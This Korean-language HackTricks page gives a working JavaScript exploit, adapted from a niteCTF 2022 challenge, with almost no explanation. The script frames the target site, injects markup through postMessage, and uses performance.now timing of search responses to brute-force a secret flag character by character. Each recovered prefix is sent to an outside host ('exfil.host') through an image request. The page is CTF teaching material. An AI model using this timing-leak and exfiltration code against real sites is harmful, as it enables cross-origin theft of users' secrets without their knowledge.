performance.now 예제
Reading time: 2 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
예제는 https://ctf.zeyu2001.com/2022/nitectf-2022/js-api에서 가져왔습니다.
javascript
const sleep = (ms) => new Promise((res) => setTimeout(res, ms))
async function check(flag) {
let w = frame.contentWindow
w.postMessage(
{ op: "preview", payload: '<img name="enable_experimental_features">' },
"*"
)
await sleep(1)
w.postMessage({ op: "search", payload: flag }, "*")
let t1 = performance.now()
await sleep(1)
return performance.now() - t1 > 200
}
async function main() {
let alpha =
"abcdefghijklmnopqrstuvwxyz0123456789_ABCDEFGHIJKLMNOPQRSTUVWXYZ-}"
window.frame = document.createElement("iframe")
frame.width = "100%"
frame.height = "700px"
frame.src = "https://challenge.jsapi.tech/"
document.body.appendChild(frame)
await sleep(1000)
let flag = "nite{"
while (1) {
for (let c of alpha) {
let result = await Promise.race([
check(flag + c),
new Promise((res) =>
setTimeout(() => {
res(true)
}, 300)
),
])
console.log(flag + c, result)
if (result) {
flag += c
break
}
}
new Image().src = "//exfil.host/log?" + encodeURIComponent(flag)
}
}
document.addEventListener("DOMContentLoaded", main)
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.